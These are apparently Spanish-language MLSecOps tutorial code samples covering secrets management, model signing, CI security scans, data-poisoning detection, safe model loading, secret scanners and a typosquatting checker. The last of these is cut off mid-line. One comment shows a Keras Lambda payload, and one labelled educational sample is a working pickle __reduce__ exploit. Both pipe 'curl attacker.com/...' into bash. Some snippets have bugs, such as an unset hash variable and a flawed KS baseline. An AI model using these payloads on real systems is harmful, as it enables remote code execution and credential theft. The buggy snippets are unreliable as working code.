import boto3
from botocore.exceptions import ClientError
import os
import time
import json
import base64


class SecureSecretsManager:
    """
    Abstraction layer para AWS Secrets Manager con caching y rotation.
    Compatible con Kubernetes Secrets, HashiCorp Vault, Azure Key Vault.
    """

    def __init__(self, region_name='eu-west-1'):
        self.client = boto3.client('secretsmanager', region_name=region_name)
        self.cache = {}  # In-memory cache para reducir API calls

    def get_secret(self, secret_name: str, force_refresh: bool = False) -> dict:
        """
        Retrieves secret from AWS Secrets Manager con caching.
        
        Args:
            secret_name: Nombre del secret en Secrets Manager
            force_refresh: Bypass cache y fetch nuevo valor
            
        Returns:
            dict con secret values
        """
        # Check cache primero (TTL 5 minutos)
        if not force_refresh and secret_name in self.cache:
            cached_time, cached_value = self.cache[secret_name]
            if (time.time() - cached_time) < 300:  # 5 min TTL
                return cached_value

        try:
            response = self.client.get_secret_value(SecretId=secret_name)

            # Secrets puede ser string o binary
            if 'SecretString' in response:
                secret = json.loads(response['SecretString'])
            else:
                secret = base64.b64decode(response['SecretBinary'])

            # Cache result
            self.cache[secret_name] = (time.time(), secret)

            return secret

        except ClientError as e:
            if e.response['Error']['Code'] == 'ResourceNotFoundException':
                raise ValueError(f"Secret {secret_name} not found")
            elif e.response['Error']['Code'] == 'AccessDeniedException':
                raise PermissionError(f"No access to secret {secret_name}")
            else:
                raise


# Uso en training pipeline
secrets = SecureSecretsManager()

# Obtener credentials de forma segura (NO hardcoded)
huggingface_creds = secrets.get_secret('prod/ml/huggingface')
HUGGINGFACE_TOKEN = huggingface_creds['api_token']

aws_creds = secrets.get_secret('prod/ml/aws-s3')
S3_ACCESS_KEY = aws_creds['access_key_id']
S3_SECRET_KEY = aws_creds['secret_access_key']

# Credentials NUNCA se loggean, NUNCA en stdout, NUNCA en error traces

from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.backends import default_backend
from datetime import datetime
import json
import base64


class ModelSigner:
    """
    Implementa model signing usando RSA-4096 + SHA-256.
    Soporta Sigstore integration para public transparency logs.
    """

    def __init__(self, private_key_path: str = None):
        if private_key_path:
            with open(private_key_path, 'rb') as f:
                self.private_key = serialization.load_pem_private_key(
                    f.read(),
                    password=None,
                    backend=default_backend()
                )
        else:
            # Generate new keypair si no existe
            self.private_key = rsa.generate_private_key(
                public_exponent=65537,
                key_size=4096,
                backend=default_backend()
            )

        self.public_key = self.private_key.public_key()

    def sign_model(self, model_path: str, metadata: dict = None) -> dict:
        """
        Firma modelo y genera manifiesto de integridad.
        
        Returns:
            dict con:
            - signature: Base64-encoded signature
            - hash: SHA-256 del modelo
            - metadata: Training info, version, timestamp
            - public_key: Para verificación
        """
        # 1. Calcular hash del modelo
        with open(model_path, 'rb') as f:
            model_bytes = f.read()

        digest = hashes.Hash(hashes.SHA256(), backend=default_backend())
        digest.update(model_bytes)
        model_hash = digest.finalize()

        # 2. Crear manifiesto
        manifest = {
            'model_path': model_path,
            'hash_algorithm': 'SHA256',
            'model_hash': base64.b64encode(model_hash).decode('utf-8'),
            'timestamp': datetime.utcnow().isoformat(),
            'metadata': metadata or {}
        }

        # 3. Firmar manifiesto
        manifest_bytes = json.dumps(manifest, sort_keys=True).encode('utf-8')

        signature = self.private_key.sign(
            manifest_bytes,
            padding.PSS(
                mgf=padding.MGF1(hashes.SHA256()),
                salt_length=padding.PSS.MAX_LENGTH
            ),
            hashes.SHA256()
        )

        manifest['signature'] = base64.b64encode(signature).decode('utf-8')
        manifest['public_key'] = base64.b64encode(
            self.public_key.public_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PublicFormat.SubjectPublicKeyInfo
            )
        ).decode('utf-8')

        # 4. Guardar manifiesto junto al modelo
        manifest_path = f"{model_path}.manifest.json"
        with open(manifest_path, 'w') as f:
            json.dump(manifest, f, indent=2)

        return manifest

    def verify_model(self, model_path: str, manifest_path: str) -> bool:
        """
        Verifica que modelo NO ha sido modificado desde signing.
        
        Returns:
            True si signature válida, False/Exception si comprometido
        """
        # 1. Cargar manifiesto
        with open(manifest_path, 'r') as f:
            manifest = json.load(f)

        # 2. Recalcular hash del modelo actual
        with open(model_path, 'rb') as f:
            model_bytes = f.read()

        digest = hashes.Hash(hashes.SHA256(), backend=default_backend())
        digest.update(model_bytes)
        current_hash = base64.b64encode(digest.finalize()).decode('utf-8')

        # 3. Verificar hash coincide
        if current_hash != manifest['model_hash']:
            raise ValueError(
                f"Hash mismatch! Model modified since signing. "
                f"Expected: {manifest['model_hash']} "
                f"Got: {current_hash}"
            )

        # 4. Verificar signature criptográfica
        public_key = serialization.load_pem_public_key(
            base64.b64decode(manifest['public_key']),
            backend=default_backend()
        )

        # Reconstruir manifest sin signature para verification
        manifest_copy = {
            k: v for k, v in manifest.items()
            if k not in ['signature', 'public_key']
        }
        manifest_bytes = json.dumps(manifest_copy, sort_keys=True).encode('utf-8')
        signature = base64.b64decode(manifest['signature'])

        try:
            public_key.verify(
                signature,
                manifest_bytes,
                padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                hashes.SHA256()
            )
            return True
        except Exception as e:
            raise ValueError(f"Signature verification failed: {str(e)}")


# Pipeline integration
signer = ModelSigner(private_key_path='/secure/keys/model-signing.pem')

# Post-training: Sign model
manifest = signer.sign_model(
    'model.onnx',
    metadata={
        'version': '2.1.0',
        'training_job_id': 'job-12345',
        'accuracy': 0.947,
        'dataset_hash': 'abc123...'
    }
)

# Pre-deployment: Verify signature
if signer.verify_model('model.onnx', 'model.onnx.manifest.json'):
    deploy_to_production(model)
else:
    alert_security_team("Model integrity compromised!")
    block_deployment()

name: MLSecOps - Secure Model Deployment

on:
  push:
    branches: [main]
    paths:
      - 'models/**'
      - 'training/**'

jobs:
  security-checks:
    runs-on: ubuntu-latest
    steps:
      # 1. Dependency scanning
      - name: Checkout code
        uses: actions/checkout@v3

      - name: Scan dependencies for CVEs
        run: |
          pip install pip-audit safety
          pip-audit -r requirements.txt --desc --fix
          safety check -r requirements.txt --json

      # 2. Secrets scanning
      - name: Scan for leaked secrets
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: main
          head: HEAD

      # 3. Container image scanning
      - name: Build training container
        run: docker build -t ml-training:${{ github.sha }} .

      - name: Scan container with Trivy
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'ml-training:${{ github.sha }}'
          format: 'sarif'
          severity: 'CRITICAL,HIGH'
          exit-code: '1'  # Fail si encuentra vulns críticas

      # 4. Code quality & SAST
      - name: Run Bandit SAST
        run: |
          pip install bandit
          bandit -r . -f json -o bandit-report.json

      # 5. Model integrity check
      - name: Verify model signatures
        run: |
          python scripts/verify_model_signatures.py --manifest-dir models/

  deploy-to-staging:
    needs: security-checks
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - name: Deploy to SageMaker Staging
        run: |
          # Deployment solo si ALL security checks passed
          aws sagemaker create-model --model-name ${MODEL_NAME}

      - name: Run security tests en staging
        run: |
          python tests/security_tests.py --endpoint staging-endpoint

  # Deploy a production SOLO con manual approval después de staging
  deploy-to-production:
    needs: deploy-to-staging
    runs-on: ubuntu-latest
    environment: production  # Requiere manual approval
    steps:
      - name: Deploy to SageMaker Production
        run: |
          aws sagemaker create-endpoint-config ...
          aws sagemaker create-endpoint ...

import numpy as np
from sklearn.ensemble import IsolationForest
from scipy import stats
import pandas as pd


class DataPoisoningDetector:
    """
    Multi-layered defense contra data poisoning attacks.
    Combina anomaly detection, statistical tests, y ensemble validation.
    """

    def __init__(self, contamination=0.01):
        """
        Args:
            contamination: Expected proportion of outliers (default 1%)
        """
        self.contamination = contamination
        self.isolation_forest = IsolationForest(
            contamination=contamination,
            random_state=42
        )
        self.feature_stats = {}

    def fit_baseline(self, clean_data: pd.DataFrame):
        """
        Entrena detector con dataset conocido como limpio.
        Aprende distribuciones normales de features.
        """
        # 1. Fit Isolation Forest para anomaly detection
        self.isolation_forest.fit(clean_data)

        # 2. Calcular estadísticas baseline por feature
        for col in clean_data.columns:
            self.feature_stats[col] = {
                'mean': clean_data[col].mean(),
                'std': clean_data[col].std(),
                'q1': clean_data[col].quantile(0.25),
                'q3': clean_data[col].quantile(0.75),
                'iqr': clean_data[col].quantile(0.75) - clean_data[col].quantile(0.25)
            }

    def detect_poisoned_samples(
        self,
        new_data: pd.DataFrame,
        threshold: float = 0.95
    ) -> dict:
        """
        Detecta samples potencialmente envenenados en nuevo batch.
        
        Returns:
            dict con:
            - 'anomaly_scores': Array de scores por sample
            - 'suspicious_indices': Índices de samples sospechosos
            - 'suspicious_features': Features con distribuciones anómalas
            - 'recommendation': Accept/Reject/Review
        """
        results = {
            'anomaly_scores': [],
            'suspicious_indices': [],
            'suspicious_features': [],
            'recommendation': 'ACCEPT'
        }

        # Check #1: Isolation Forest anomaly detection
        anomaly_scores = self.isolation_forest.score_samples(new_data)
        results['anomaly_scores'] = anomaly_scores

        # Samples con score < percentil 5% son sospechosos
        threshold_score = np.percentile(anomaly_scores, 5)
        suspicious_mask = anomaly_scores < threshold_score
        results['suspicious_indices'] = np.where(suspicious_mask)[0].tolist()

        # Check #2: Statistical tests por feature (Kolmogorov-Smirnov)
        for col in new_data.columns:
            if col in self.feature_stats:
                # Comparar distribución nueva vs baseline
                statistic, p_value = stats.ks_2samp(
                    new_data[col].dropna(),
                    [self.feature_stats[col]['mean']] * len(new_data)  # Baseline
                )

                # Si p < 0.05, distribución es significativamente diferente
                if p_value < 0.05:
                    results['suspicious_features'].append({
                        'feature': col,
                        'p_value': p_value,
                        'new_mean': new_data[col].mean(),
                        'baseline_mean': self.feature_stats[col]['mean'],
                        'drift_percentage': abs(
                            (new_data[col].mean() - self.feature_stats[col]['mean'])
                            / self.feature_stats[col]['mean'] * 100
                        )
                    })

        # Check #3: Label distribution analysis (si tenemos labels)
        if 'label' in new_data.columns:
            new_label_dist = new_data['label'].value_counts(normalize=True)
            # Flag si alguna clase cambió >20% en proporción
            # (requiere baseline_label_dist guardado en fit)

        # Decision logic
        if len(results['suspicious_indices']) > len(new_data) * 0.05:
            results['recommendation'] = 'REJECT'
        elif len(results['suspicious_features']) > 0:
            results['recommendation'] = 'REVIEW'

        return results


# Uso en pipeline
detector = DataPoisoningDetector(contamination=0.01)
detector.fit_baseline(trusted_training_data)

# Validar nuevo batch antes de añadir a training
new_batch = load_new_training_data()
validation_results = detector.detect_poisoned_samples(new_batch)

if validation_results['recommendation'] == 'REJECT':
    log.error(
        f"Data poisoning detected! "
        f"{len(validation_results['suspicious_indices'])} suspicious samples"
    )
    alert_security_team(validation_results)
    # NO añadir a training dataset

elif validation_results['recommendation'] == 'REVIEW':
    log.warning("Anomalies detected, flagging for manual review")
    quarantine_for_review(new_batch, validation_results)

else:
    # Safe to add to training
    add_to_training_dataset(new_batch)

# ❌ VULNERABLE: Cargando model checkpoint sin validación
import tensorflow as tf
from tensorflow import keras

# Descargas un checkpoint de HuggingFace o repositorio público
model = keras.models.load_model('fraud_detection_v2.h5')

# 🔴 PROBLEMA: Si ese .h5 fue creado con Keras < 2.13,
# puede contener Lambda layer con código malicioso que SE EJECUTA AHORA:
#
# lambda x: __import__('os').system('curl attacker.com/steal.sh | bash')
#
# Resultado: Backdoor instalado, credentials exfiltradas, cryptominer deployed.

model.predict(test_data)  # Demasiado tarde, ya estás comprometido

# ✅ SEGURO: Model loading con validación
import tensorflow as tf
from tensorflow import keras
import hashlib
import json


def secure_model_load(model_path: str, expected_hash: str = None):
    """
    Carga modelo TensorFlow/Keras con validación de seguridad.
    
    Args:
        model_path: Ruta al checkpoint
        expected_hash: SHA256 hash esperado del archivo (opcional pero recomendado)
        
    Returns:
        model: Keras model si validación exitosa
        
    Raises:
        ValueError: Si validación falla
    """
    # 1. Verificar hash del archivo ANTES de cargar
    if expected_hash:
        with open(model_path, 'rb') as f:
            file_hash = hashlib.sha256(f.read()).hexdigest()

        if file_hash != expected_hash:
            raise ValueError(
                f"Hash mismatch. Expected {expected_hash}, got {file_hash}"
            )

    # 2. Cargar solo SavedModel format (NO .h5)
    if model_path.endswith('.h5'):
        raise ValueError("H5 format not allowed. Use SavedModel format instead.")

    # 3. Custom objects whitelist (NO permitir Lambda layers arbitrarios)
    custom_objects = {
        # Lista explícita de custom layers permitidos (ninguno por defecto)
    }

    # 4. Cargar con safe mode
    try:
        model = keras.models.load_model(
            model_path,
            custom_objects=custom_objects,
            compile=False  # No compilar automáticamente (puede ejecutar código)
        )
    except Exception as e:
        raise ValueError(f"Model loading failed security validation: {e}")

    # 5. Logging de auditoría
    print(f"[AUDIT] Model loaded: {model_path} | Hash: {file_hash[:16]}...")

    return model


# Uso seguro
MODEL_REGISTRY = {
    "fraud_detection_v2": {
        "path": "/models/fraud_detection_v2/",
        "hash": "a3f2b1c9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c1d0e9f8a7b6c5d4e3f2a1"
    }
}

model_config = MODEL_REGISTRY["fraud_detection_v2"]
model = secure_model_load(
    model_config["path"],
    expected_hash=model_config["hash"]
)

# ⚠️ SOLO PARA EDUCACIÓN - NO EJECUTAR EN PRODUCCIÓN
import pickle
import os


class MaliciousModel:
    """
    Modelo pickle malicioso que ejecuta código al deserializar.
    """

    def __reduce__(self):
        # __reduce__ se llama automáticamente durante pickle.load()
        # Aquí podemos ejecutar CUALQUIER código Python
        cmd = 'curl http://attacker.com/exfiltrate.sh | bash'
        return (os.system, (cmd,))


# Atacante crea el pickle malicioso
malicious_model = MaliciousModel()
with open('innocent_looking_model.pkl', 'wb') as f:
    pickle.dump(malicious_model, f)

print("[ATTACKER] Malicious model.pkl created and uploaded to HuggingFace")

# ---

# Víctima descarga y carga el modelo
with open('innocent_looking_model.pkl', 'rb') as f:
    model = pickle.load(f)  # 💥 Backdoor ejecutado AQUÍ

# 🔴 RESULTADO:
# - Backdoor instalado sin alertas
# - Credentials AWS exfiltradas
# - Cryptominer deployed
# - Víctima ni siquiera sabe que fue comprometida

# Pre-commit hooks para prevenir secrets leakage
# Instalar: pip install pre-commit && pre-commit install

repos:
  # 1. detect-secrets: Baseline secrets detection
  - repo: https://github.com/Yelp/detect-secrets
    rev: v1.4.0
    hooks:
      - id: detect-secrets
        args: ['--baseline', '.secrets.baseline']
        exclude: package-lock.json

  # 2. gitleaks: Advanced secrets scanner
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.0
    hooks:
      - id: gitleaks

  # 3. Bloquear archivos específicos high-risk
  - repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v4.5.0
    hooks:
      # No permitir .env files
      - id: check-added-large-files
        args: ['--maxkb=500']
      # Detectar private keys
      - id: detect-private-key
      # Prevenir merge conflicts sin resolver
      - id: check-merge-conflict
      # YAML/JSON syntax validation
      - id: check-yaml
      - id: check-json

  # 4. Jupyter notebook output cell cleaning
  - repo: https://github.com/kynan/nbstripout
    rev: 0.6.1
    hooks:
      - id: nbstripout
        args: ['--extra-keys', 'metadata.kernelspec metadata.language_info.version']

#!/bin/bash
# Setup pre-commit hooks para secrets detection

# Instalar pre-commit
pip install pre-commit detect-secrets

# Copiar config (usar el YAML de arriba)
curl -o .pre-commit-config.yaml https://gist.githubusercontent.com/...

# Crear baseline de secrets existentes (si hay false positives)
detect-secrets scan > .secrets.baseline

# Instalar hooks en git
pre-commit install

# Test manual (sin commit)
pre-commit run --all-files

echo "✅ Pre-commit hooks instalados. Ahora NINGÚN commit con secrets pasará."

#!/usr/bin/env python3
"""
Script para verificar requirements.txt contra packages maliciosos conocidos.
Ejecutar ANTES de pip install en CI/CD.
"""

import requests
import sys
from typing import List, Dict


# Lista de typosquatting patterns comunes (actualizar regularmente)
KNOWN_MALICIOUS_PATTERNS = {
    'tensorfllow': 'tensorflow',
    'py-torch': 'pytorch',
    'scikit-lean': 'scikit-learn',
    'openai-official': 'openai',
    'langchain-api': 'langchain',
    'requests-aws': 'requests',
    # Packages que añaden sufijos sospechosos
}


def check_requirements_file(requirements_path: str) -> List[Dict]:
    """
    Analiza requirements.txt buscando packages sospechosos.
    
    Returns:
        Lista de warnings con packages potencialmente maliciosos
    """
    warnings = []

    with open(requirements_path, 'r') as f:
        lines = f.readlines()

    for line_num, line in enumerate(lines, 1):
        line = line.strip()

        if not line or line.startswith('#'):
            continue

        # Extraer nombre del package (ignorar versión)
        package_name = line.split('==')[0].split('>=')[0].split('